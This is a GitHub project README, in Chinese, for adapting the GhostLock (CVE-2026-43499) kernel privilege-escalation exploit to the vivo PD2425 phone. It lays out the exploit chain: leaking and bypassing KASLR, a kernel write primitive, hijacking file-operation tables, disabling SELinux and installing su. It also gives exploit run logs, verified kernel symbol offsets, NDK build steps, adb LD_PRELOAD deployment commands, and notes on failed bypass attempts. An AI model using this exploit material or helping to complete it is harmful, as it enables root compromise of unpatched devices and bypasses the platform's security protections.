LuZe0y/pd2425-cve-2026-43499-config
GitHub: LuZe0y/pd2425-cve-2026-43499-config
该项目是基于 GhostLock (CVE-2026-43499) 漏洞的 vivo PD2425 内核本地提权适配与调试工具链。
Stars: 0 | Forks: 0
# CVE-2026-43499 vivo PD2425 漏洞利用适配项目
基于 GhostLock 漏洞 (CVE-2026-43499) 的 vivo PD2425 (SM8650 / Android 14 / Kernel 6.1.145) 内核本地提权适配项目。
## 项目状态
| 阶段 | 状态 | 说明 |
|------|------|------|
| NDK 编译 | 完成 | preload.so 编译通过 |
| KernelSnitch mm_struct 泄露 | 完成 | leaked_mm 稳定获取 |
| Page spray + skb 回收 | 完成 | reclaim send ret=65536 |
| Futex CMP_REQUEUE_PI | 完成 | owner chain skipped (errno=35) — 预期行为 |
| sched_setattr 抢占 | 完成 | sched_ok=1 |
| **boot_id 覆盖 (KASLR 绕过)** | **阻塞** | 始终读取原始 UUID,内核写入未命中目标 |
| P2 文件操作劫持 | 待定 | 依赖 kaslr_slide |
| P3 SELinux + Root | 待定 | 依赖 P2 |
## 漏洞利用链
```
P0: SLIDE 原语泄露内核指针 → KASLR 绕过
P1: SLIDE 原语内核内存写入
P2: 修改内核文件操作表 → 任意读写
P3: 关闭 SELinux → 提升至 root
```
### 当前运行日志
```
[+] preload starting pid=12789
[+] startup context pid=12789 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] build config pid=12789 label=pd2425_up1a_231005_007 p0_active=true slide=pselect main=pselect
[+] p0 profile pid=12789 phys_offset=0000000080000000 kernel_phys_load=0000000080080000 delta=0000000000080000 slide_logger=ffffff8002252f98 bootid_data=ffffff80025fa548 init_task=ffffff800225fc00 root_tg=ffffff80024a2740 sysctl_bootid=ffffff80025fa548
[*] prepare_kernel_page geom mode=1 standalone_tcp=1 main_tcp=0 mm_struct_sz=1024 objs_per_slab=32 collisions=8
[*] prepare_kernel_page leaked_mm=ffffff885935c000 base=ffffff8859358000 mode=1
[*] fake payload mode=1 write_shape=0 standalone_tcp=1 main_tcp=0 delta=0 bias=e80 lock=ffffff8859359350 w0=ffffff885935a220 task=ffffff885935d800 task_off=5800 fops_off=1000 lock_top_delta=0 write_parent=ffffff8002252f00 write_right=0000000000000000 write_left=ffffff80025fa548
[*] sk_buff pcp send 1/1 ret=65536 errno=0
[*] sk_buff reclaim send 1/4 ret=65536 errno=0
[*] sk_buff reclaim send 2/4 ret=65536 errno=0
[*] sk_buff reclaim send 3/4 ret=65536 errno=0
[*] sk_buff reclaim send 4/4 ret=65536 errno=0
[*] slide attempt 1/20 uses pselect shift=1
[+] slide child context route=pselect pid=20317 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[*] slide consumer knobs core=1 consume_usec=0 consume_delay=2000 enter_delay=50000
[*] slide owner chain skipped (errno=35); held target
[*] slide tcp enter page=ffffff8859358000 fake_lock=ffffff8859359350 fake_w0=ffffff885935a220 fake_task=ffffff885935d800
[*] slide tcp pair client=4 server=5
[*] slide tcp punch fd=3 page_size=4096 len=16777216
[*] slide tcp punch map=0x7298c00000
[*] slide tcp knobs attempts=2000 arm_seq=16 post_hold=20000
[*] slide consumer sched tid=20318 nice=1 alive_ret=0 alive_errno=0 sched_ret=0 sched_errno=0
[*] slide tcp seq=16 ret=0 errno=0 len=64 calls=1 sched_ok=0 last_sched_ret=-1 last_sched_errno=0
[*] slide tcp side effect calls=1 sched_ok=1
[-] slide bad leaked pointer=67406f9190b78536 ← 原始 boot_id UUID 值
[-] slide attempt 1 failed n=0 status=256
[*] prepare_kernel_page geom mode=1 standalone_tcp=1 main_tcp=0 mm_struct_sz=1024 objs_per_slab=32 collisions=8
```
## 设备信息
| 属性 | 值 |
|------|-----|
| 设备型号 | vivo PD2425 |
| 平台 | Qualcomm SM8650 (Snapdragon 8 Gen 3) |
| Android 版本 | 14 (UP1A.231005.007) |
| 内核版本 | 6.1.145-android14-11-g |
| 内核镜像偏移 | text_offset = 0x00000000 |
| 物理内存基址 | P0_PHYS_OFFSET = 0x80000000 |
| 内核物理加载地址 | P0_KERNEL_PHYS_LOAD = 0x80080000 |
| 内核镜像基址 | KIMAGE_TEXT_BASE = 0xffffffc008000000 |
| rt_mutex_waiter 大小 | 0x58 (紧凑模式) |
## 正在面临的问题
### 1. boot_id 覆盖写入失败 (核心阻塞问题)
**现象**: SLIDE 原语执行后,读取 `/proc/sys/kernel/random/boot_id` 返回的始终是原始 UUID 值 `67406f91-906f-4067-...`,而非写入的内核指针。
**已确认的事实**:
- pselect 返回成功 + sched_ok=1 仅证明调度器抢占成功,**不证明内核写入已发生**
- rmx3888 基准仓库的 `FIX_REPORT.md` 也记录了相同问题
- 物理地址常量已通过 ABL 逆向分析独立验证 (`P0_PHYS_OFFSET=0x80000000`, `P0_KERNEL_PHYS_LOAD=0x80080000`),排除了常量错误
**可能的原因**:
1. 回收的假页面 (fake page) 与内核 `sysctl_bootid` 对象之间的别名关系未建立 —— 写入无法命中目标地址
2. rt_mutex_waiter 结构布局与实际内核不匹配,导致 PI 树遍历时指针偏移错误
3. PD2425 的 `sysctl_bootid` 位于不同于 rmx3888 的内存区域,slab 回收策略不同
4. SLIDE 写入发生在错误的缓存行或页面上
**可能的解决方案**:
1. 使用 `SLIDE_WRITE_SCRATCH=1` 诊断写入是否到达假页面
2. 验证 slab 回收是否实际将假页面分配给目标 `sysctl_bootid` 对象
3. 研究通过其他内核对象 (如 `nfulnl_logger`) 建立替代的 KASLR 泄露路径
4. 尝试 `SLIDE_WONLY_BOOTID` 模式(简化 waiter 布局,仅写入 boot_id 字段)
5. 降低 `perf_event_paranoid` 级别以启用 perf_event_open KASLR 绕过(需要 root 权限先设置)
6. 通过 P0 物理地址 Oracle 直接计算内核基址(若已知物理内存布局)
### 2. perf_event_paranoid 限制
**现象**: `perf_event_open` 返回 `errno=13` (EACCES),当前设备 `perf_event_paranoid >= 2`,阻止非特权进程访问 perf 事件。
**可能的解决方案**:
- 需要先获得某个特权级别才能修改 `/proc/sys/kernel/perf_event_paranoid`
- 寻找其他不依赖 perf 的 KASLR 绕过方法
## 已尝试且失败的方案
| 方案 | 原理 | 失败原因 |
|------|------|---------|
| tracefs sched_blocked_reason | 从 trace 管道读取阻塞事件中的 worker caller 地址 | caller 地址落在 vmalloc 模块区域,非内核镜像地址 |
| tracefs irq_handler_entry | 从中断处理事件读取 handler 指针 | handler 字段为 ASCII 字符串 (如 "arch_tim"),非指针值 |
| tracefs hrtimer_start | 从高精度定时器事件读取 handler 指针 | 所有 caller 地址均在模块空间 (0xffffffd0...) |
| perf_event_open | 通过 perf 事件采样内核 IP 地址 | perf_event_paranoid 级别过高 (errno=13 EACCES) |
| pselect 多 shift 值 | 尝试不同的 PSELECT_WAITER_WORD_SHIFT (0-7) | 所有 shift 值均返回相同错误 |
## 数据来源与作用
### 内核符号与偏移
| 数据来源 | 路径/文件 | 作用 |
|----------|----------|------|
| boot.img (A2.zip) | 设备原始固件 | 提取内核镜像 (kernel.img) |
| init_boot.img (A2.zip) | 设备原始固件 | 提取 ramdisk 和设备信息 |
| symbols_pd2425.json | `vmlinux-to-elf` 工具输出 | 完整内核符号表,所有偏移均基于此精确验证 |
| abl.img | 设备 ABL 分区 | 逆向分析验证 P0 物理内存常量 |
### 关键符号偏移 (已验证)
| 符号 | 内核偏移 | 数据来源 | 用途 |
|------|---------|---------|------|
| `loggers[]` | 0x021d2ee0 | symbols_pd2425.json | nf_logger 数组基址 |
| `nfulnl_logger` | 0x021d2f98 | symbols_pd2425.json | netfilter 日志对象 |
| `sysctl_bootid` | 0x0257a548 | symbols_pd2425.json | boot_id UUID 缓冲区 |
| `init_task` | 0x021dfc00 | symbols_pd2425.json | 初始任务结构体 |
| `root_task_group` | 0x02422740 | symbols_pd2425.json | 根任务组 |
| `selinux_enforcing_boot` | 0x0217a9d8 | symbols_pd2425.json | SELinux 执行状态 |
| `ashmem_fops` | 0x013434b0 | symbols_pd2425.json | ashmem 文件操作表 |
| `generic_file_splice_read` | 0x0045d078 | symbols_pd2425.json | splice 读取函数 |
| `noop_llseek` | 0x0040f5e4 | symbols_pd2425.json | 空操作 seek |
| `misc_fops` | 0x012e3ba0 | symbols_pd2425.json | misc 文件操作表 |
### 固件分析数据
| 数据来源 | 路径 | 作用 |
|----------|------|------|
| ABL 外容器 | ELF32 ARM (2.4 MB) | Android Bootloader |
| ABL 压缩层 | LZMA 压缩 UEFI FV | 包含 LinuxLoader |
| LinuxLoader | PE32+ AArch64 EFI Application | 内核加载器,验证 P0 常量 |
| xbl_config.img | XBL 配置分区 | 验证 DDR 内存区域起始地址 |
### ABL 关键常量 (已验证)
| 偏移 | 值 | 含义 |
|------|-----|------|
| 0x8caa0 | 0x00080000 | ARM64 内核加载偏移 |
| 0x8caa4 | 0x05600000 | ARM64 内核区域大小 (86 MB) |
| xbl_config | memory@80000000 | 第一个 DDR 内存区域 |
## 编译与部署
### 环境要求
- Android NDK r29 (或更高版本)
- 目标 API Level: 35
### 编译
```
make PROJECT=PD2425-UP1A.231005.007
```
产物: `build/PD2425-UP1A.231005.007/bin/preload.so`
### 部署
```
adb push preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
```
### 诊断选项
```
# 详细日志
adb shell SLIDE_QUIET_CONSUMER=0 LD_PRELOAD=/data/local/tmp/preload.so id
# 查看完整 futex 日志
adb shell SLIDE_QUIET_FUTEX=0 LD_PRELOAD=/data/local/tmp/preload.so id
# 指定 shift 值
adb shell SLIDE_SHIFT=3 LD_PRELOAD=/data/local/tmp/preload.so id
# 写入 scratch 诊断
adb shell SLIDE_WRITE_SCRATCH=1 LD_PRELOAD=/data/local/tmp/preload.so id
```
## 项目结构
```
.
├── Makefile # 编译系统
├── README.md # 本文档
├── assets/
│ └── wallpaper.webp # 壁纸资源
└── src/
├── common.h # 公共头文件
├── offset.h # 目标配置路由
├── realtime_log.h # 实时日志
├── main.c # 主入口
├── fops.c # 文件操作劫持 (P2)
├── pipe.c # 管道物理读写 (P2)
├── root.c # SELinux + Root (P3)
├── preload.c # LD_PRELOAD 入口 + su 安装
├── slide.c # 通用 SLIDE 实现 (fallback)
├── su_blob.S # su 二进制嵌入
├── su_daemon.c # su daemon
├── wallpaper_blob.S # 壁纸二进制嵌入
├── kernelsnitch/
│ ├── futex_hash.h # futex 哈希
│ ├── kernelsnitch.h # KernelSnitch 核心
│ ├── timeutils.h # 时间工具
│ └── utils.h # 通用工具
└── targets/
└── PD2425-UP1A.231005.007/
├── target.h # PD2425 专用配置与偏移
├── slide.c # PD2425 专用 SLIDE 实现
└── util.c # PD2425 专用工具函数
```
## 参考文档
- [CVE-2026-43499 (GhostLock) 原始漏洞](https://github.com/Bailan766/rmx3888-cve-2026-43499-config) — 基准仓库 (rmx3888)
- [Root-My-Galaxy-Payloads](https://github.com/BuSung-dev/Root-My-Galaxy-Payloads) — Samsung S928U1 适配参考 (tracefs KASLR 绕过方案)
- [duchamp-root](https://github.com/Colorful-glassblock/duchamp-root) — Redmi K70 Ultra 适配参考 (perf_event_open KASLR 绕过方案)
- [S928U1 ABL 分析文档](https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/blob/main/docs/SM-S928U1-S928U1UES6DZF2.md) — ABL 分析方法论
- [NebuSec/CyberMeowfia commit c87b866](https://github.com/NebuSec/CyberMeowfia/commit/c87b866) — 适配过程中的关键参考提交
- [Android NDK r29](https://developer.android.com/ndk/downloads) — 编译工具链
- [vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf) — 内核符号恢复工具
标签:Android安全, KASLR绕过, Web报告查看器, 内核提权, 客户端加密, 目录枚举, 移动安全